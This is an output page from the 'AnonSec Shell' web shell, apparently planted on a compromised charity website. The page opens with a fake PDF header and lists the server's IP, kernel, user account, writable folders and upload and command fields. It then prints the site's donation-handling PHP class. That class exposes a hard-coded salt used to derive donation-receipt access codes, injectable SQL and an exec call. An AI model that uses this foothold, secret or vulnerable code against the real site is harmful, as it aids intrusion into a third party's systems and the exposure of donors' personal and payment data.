%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/public_html/dons.class.php
<?php
class dons{

	var $id_dons;
	var $titre;
	var $nom;
	var $prenom;
	var $adresse;
	var $cp;
	var $ville;
	var $pays;
	var $tel;
	var $portable;
	var $email;
	var $type_don;
	var $montant;
	var $currency='eur';
	var $occasion;
	var $date;
	var $periodicite;
	var $duree;
	var $du_mois;
	var $du_jour;
	var $nom_autre;
	var $prenom_autre;
	var $adresse_autre;
	var $cp_autre;
	var $ville_autre;
	var $valide=0;
	var $date_creation;
	var $commentaire;
	var $entry_id;
	var $form_id;
	var $search=[];

	function lecture()
	{
		global $mysqli;
	$sql="SELECT * from `tbl_dons2` where id_dons='".$this->id_dons."'";
	$query=mysqli_query($mysqli,$sql)or die($sql.' '.mysqli_error());
	$data=mysqli_fetch_array($query);

	$this->set_vars($data);
	}

	function set_vars($data)
	{
	$this->id_dons=stripslashes($data['id_dons']);
	$this->titre=stripslashes($data['titre']);
	$this->nom=stripslashes($data['nom']);
	$this->prenom=stripslashes($data['prenom']);
	$this->adresse=stripslashes($data['adresse']);
	$this->cp=stripslashes($data['cp']);
	$this->ville=stripslashes($data['ville']);
	$this->pays=stripslashes($data['pays']);
	$this->tel=stripslashes($data['tel']);
	$this->portable=stripslashes($data['portable']);
	$this->email=stripslashes($data['email']);
	$this->type_don=stripslashes($data['type_don']);
	$this->montant=stripslashes($data['montant']);
	$this->currency=stripslashes($data['currency']);
	$this->occasion=stripslashes($data['occasion']);
	$this->date=stripslashes($data['date']);
	$this->periodicite=stripslashes($data['periodicite']);
	$this->duree=stripslashes($data['duree']);
	$this->du_mois=stripslashes($data['du_mois']);
	$this->du_jour=stripslashes($data['du_jour']);
	$this->nom_autre=stripslashes($data['nom_autre']);
	$this->prenom_autre=stripslashes($data['prenom_autre']);
	$this->adresse_autre=stripslashes($data['adresse_autre']);
	$this->cp_autre=stripslashes($data['cp_autre']);
	$this->ville_autre=stripslashes($data['ville_autre']);
	$this->valide=stripslashes($data['valide']);
	$this->date_creation=stripslashes($data['date_creation']);
	$this->commentaire=stripslashes($data['commentaire']);
	$this->entry_id=stripslashes($data['entry_id']);
	$this->form_id=stripslashes($data['form_id']);
	$this->cerfaUrl=$this->getCerfaUrl($data['id_dons']);
	}

	function insert()
	{
	$sql="INSERT INTO `tbl_dons2` (
	`titre` ,
	`nom` ,
	`prenom` ,
	`adresse` ,
	`cp` ,
	`ville` ,
	`pays` ,
	`tel` ,
	`portable` ,
	`email` ,
	`type_don` ,
	`montant` ,
	`currency` ,
	`occasion` ,
	`date` ,
	`periodicite` ,
	`duree` ,
	`du_mois` ,
	`du_jour` ,
	`nom_autre` ,
	`prenom_autre` ,
	`adresse_autre` ,
	`cp_autre` ,
	`ville_autre` ,
	`valide`,
	`date_creation`,
	`commentaire`,
	`form_id`,
	`entry_id`
	)
	VALUES (
	'".addslashes($this->titre)."','".addslashes($this->nom)."','".addslashes($this->prenom)."','".addslashes($this->adresse)."','".addslashes($this->cp)."','".addslashes($this->ville)."','".addslashes($this->pays)."','".addslashes($this->tel)."','".addslashes($this->portable)."','".addslashes($this->email)."','".addslashes($this->type_don)."','".addslashes($this->montant)."','".addslashes($this->currency)."','".addslashes($this->occasion)."','".addslashes($this->date)."','".addslashes($this->periodicite)."','".addslashes($this->duree)."','".addslashes($this->du_mois)."','".addslashes($this->du_jour)."','".addslashes($this->nom_autre)."','".addslashes($this->prenom_autre)."','".addslashes($this->adresse_autre)."','".addslashes($this->cp_autre)."','".addslashes($this->ville_autre)."','".addslashes($this->valide)."','".date("Y-m-d H:i:s")."','".addslashes($this->commentaire)."','".addslashes($this->form_id)."','".addslashes($this->entry_id)."')";
	global $mysqli;
	mysqli_query($mysqli,$sql)or die('error don insert '.mysqli_error());

	$this->id_dons=mysqli_insert_id($mysqli);

	}

	function update()
	{
	$sql="update `tbl_dons2` set titre='".addslashes($this->titre)."',nom='".addslashes($this->nom)."',prenom='".addslashes($this->prenom)."',adresse='".addslashes($this->adresse)."',cp='".addslashes($this->cp)."',ville='".addslashes($this->ville)."',pays='".addslashes($this->pays)."',tel='".addslashes($this->tel)."',portable='".addslashes($this->portable)."',email='".addslashes($this->email)."',type_don='".addslashes($this->type_don)."',montant='".addslashes($this->montant)."',currency='".addslashes($this->currency)."',occasion='".addslashes($this->occasion)."',date='".addslashes($this->date)."',periodicite='".addslashes($this->periodicite)."',duree='".addslashes($this->duree)."',du_mois='".addslashes($this->du_mois)."',du_jour='".addslashes($this->du_jour)."',nom_autre='".addslashes($this->nom_autre)."',prenom_autre='".addslashes($this->prenom_autre)."',adresse_autre='".addslashes($this->adresse_autre)."',cp_autre='".addslashes($this->cp_autre)."',ville_autre='".addslashes($this->ville_autre)."',valide='".addslashes($this->valide)."',commentaire='".addslashes($this->commentaire)."',form_id='".addslashes($this->form_id)."',entry_id='".addslashes($this->entry_id)."' where id_dons='".$this->id_dons."'";
	global $mysqli;
	mysqli_query($mysqli,$sql)or die('error don update');

	}

	function save()
	{
		if(empty($this->id_dons)) $this->insert();
		else $this->update();
	}

	function get_nb_dons()
	{
		global $mysqli;
		$sql="SELECT count(id_dons) from `tbl_dons2` where 1=1 ";
		if(!empty($this->search['motcle'])) $sql .=" and (nom like '%".addslashes($this->search['motcle'])."%' OR prenom like '%".addslashes($this->search['motcle'])."%' OR email like '%".addslashes($this->search['motcle'])."%' OR tel like '%".addslashes($this->search['motcle'])."%' OR portable like '%".addslashes($this->search['motcle'])."%') ";
		if(!empty($this->search['paiement']) && $this->search['paiement']==1) $sql .=" and valide = 1 ";
		if(!empty($this->search['paiement']) && $this->search['paiement']==2) $sql .=" and valide = 0 ";
		if(!empty($this->search['date_from'])) {
			$date_from_sql = DateTime::createFromFormat('d/m/Y', $this->search['date_from'])->format('Y-m-d');
			$sql .=" and date_creation >= '".$date_from_sql." 00:00:00' ";
		}
		if(!empty($this->search['date_to'])) {
			$date_to_sql = DateTime::createFromFormat('d/m/Y', $this->search['date_to'])->format('Y-m-d');
			$sql .=" and date_creation <= '".$date_to_sql." 23:59:59' ";
		}
		$query=mysqli_query($mysqli,$sql)or die($sql.' '.mysqli_error());
		$data=mysqli_fetch_array($query);
		return $data[0];
	}
	function get_all($limit,$nb)
	{
		global $mysqli;
		$all=array();
		$sql="SELECT * from `tbl_dons2` where 1=1 ";
		if(!empty($this->search['motcle'])) $sql .=" and (nom like '%".addslashes($this->search['motcle'])."%' OR prenom like '%".addslashes($this->search['motcle'])."%' OR email like '%".addslashes($this->search['motcle'])."%' OR tel like '%".addslashes($this->search['motcle'])."%' OR portable like '%".addslashes($this->search['motcle'])."%') ";
		if(!empty($this->search['paiement']) && $this->search['paiement']==1) $sql .=" and valide = 1 ";
		if(!empty($this->search['paiement']) && $this->search['paiement']==2) $sql .=" and valide = 0 ";
		if(!empty($this->search['date_from'])) {
			$date_from_sql = DateTime::createFromFormat('d/m/Y', $this->search['date_from'])->format('Y-m-d');
			$sql .=" and date_creation >= '".$date_from_sql." 00:00:00' ";
		}
		if(!empty($this->search['date_to'])) {
			$date_to_sql = DateTime::createFromFormat('d/m/Y', $this->search['date_to'])->format('Y-m-d');
			$sql .=" and date_creation <= '".$date_to_sql." 23:59:59' ";
		}
		$sql.=" order by id_dons desc limit $limit,$nb";
		//echo $sql;
		$query=mysqli_query($mysqli,$sql)or die($sql.' '.mysqli_error());
		while($data=mysqli_fetch_array($query))
			{
				$dons = new dons;
				$dons->set_vars($data);
				$all[]=$dons;
			}
			return $all;
	}

	function createCerfa()
	{
		 $wkhtmltopdf = "/usr/local/bin/wkhtmltopdf --margin-top 5 --margin-bottom 5 --margin-left 10 --margin-right 10 --page-height 350 ";
		 $code = $this->getCode($this->id_dons);//md5('Meir26'.$this->id_dons.'paniM27');
		 $url1 = "https://www.meirpanim.fr/cerfa/page1.php?".escapeshellarg("id=".$this->id_dons."&code=".$code)." ";
		 $url2 = "https://www.meirpanim.fr/cerfa/page2.php?".escapeshellarg("id=".$this->id_dons."&code=".$code)." ";
		
		$cerfaUrl = "/cerfa/pdf/".$code.".pdf";
		$cerfa = $_SERVER["DOCUMENT_ROOT"].$cerfaUrl;
			$commandeExec = $wkhtmltopdf." ".$url1." ".$url2;
			$commandeExec .=$cerfa;
			
			$output = [];
			$return = 0;

			exec($commandeExec,$output, $return);
			//echo $commandeExec;
			//print_r($output);
			//print_r($return);
			
			 if(is_file($cerfa))
			{
					chmod($cerfa,0446);
					//echo 'chnod '.$cerfa;
					return $cerfaUrl;
			}
		
	}

	function getCode($id_dons)
	{
		return md5('Meir26'.$id_dons.'paniM27');
	}

	function getCerfaUrl($id_dons)
	{
		$code = $this->getCode($id_dons);
		$cerfaUrl = "/cerfa/pdf/".$code.".pdf";
		$cerfa = $_SERVER["DOCUMENT_ROOT"].$cerfaUrl;
		 if(is_file($cerfa))
			return $cerfaUrl;
		return;
	}

	function getIdFromStripeDatas($stripeDatas)
	{
		global $mysqli;
		$sql="select id_dons from tbl_stripe where `payment_intent` = '".addslashes($stripeDatas['payment_intent'])."' and `client_secret` = '".addslashes($stripeDatas['client_secret'])."' ";
		$query=mysqli_query($mysqli,$sql)or die($sql.' '.mysqli_error());
		$data=mysqli_fetch_array($query);
		return $data[0];
	}

	function insertStripeDatas($stripeDatas)
	{
		$sql="INSERT INTO `tbl_stripe` (
					`id_dons` ,
					`payment_intent` ,
					`client_secret` ,
					`dateIn`
					)
			VALUES (
					'".addslashes($this->id_dons)."',
					'".addslashes($stripeDatas['payment_intent'])."',
					'".addslashes($stripeDatas['client_secret'])."',
					'".date("Y-m-d H:i:s")."'
					)";
	global $mysqli;
	mysqli_query($mysqli,$sql)or die('error don insertStripe '.mysqli_error());
	}

	function setForminatorInfos($entry_id,$form_id)
	{
		//28e gala (2026)
		if($form_id==1134)
		{
			$this->type_don='gala';
			$this->occasion='galas2026';
			$this->valide=0;
			$this->date='';
			$this->form_id=$form_id;
			$this->entry_id=$entry_id;
			
			$this->titre='';
			$this->duree='';
			$this->du_mois='';
			$this->du_jour='';
			$this->periodicite='';
			$this->nom_autre='';
			$this->prenom_autre='';
			$this->adresse_autre='';
			$this->cp_autre='';
			$this->ville_autre='';
			$this->adresse='';
			$this->cp='';
			$this->ville='';
			$this->pays='';
			$this->portable='';
			$this->montant='';
			$this->prenom='';
			$this->email='';
			$this->tel='';
			$this->commentaire='';

			global $mysqli;
			$sql="select * from wp_frmt_form_entry_meta where entry_id = '".addslashes($entry_id)."' ";
			$query=mysqli_query($mysqli,$sql)or die($sql.' '.mysqli_error());
			while($data=mysqli_fetch_array($query))
			{
				$meta = unserialize($data['meta_value']);
				switch($data['meta_key'])
				{
					case 'calculation-1' :	$this->montant	= $meta['result'] ?? ''; 
											break;
					case 'calculation-2' :	$this->montant 	= $meta['result'] ?? ''; 
											break;
					case 'address-1' :		$this->adresse 	= $meta['street_address'] ?? ''; 
											$this->cp 		= $meta['zip'] ?? ''; 
											$this->ville 	= $meta['city'] ?? ''; 
											$this->pays 	= $meta['country'] ?? ''; 
											break;
					case 'name-1' :			$this->prenom 	= $meta['first-name'] ?? ''; 
											$this->nom 		= $meta['last-name'] ?? ''; 
											break;
					case 'email-1' : 		$this->email 	= $data['meta_value'] ?? ''; 
											break;
					case 'phone-1' : 		$this->tel 		= $data['meta_value'] ?? ''; 
											break;
					case 'textarea-1' : 	$this->commentaire = $data['meta_value'] ?? ''; 
											break;
					case 'radio-2' : 		if($data['meta_value'] == 'Shekels') $this->currency = 'ils'; else $this->currency = 'eur';  
											break;
				}	
			}

		}
	}

}

Anon7 - 2022
AnonSec Team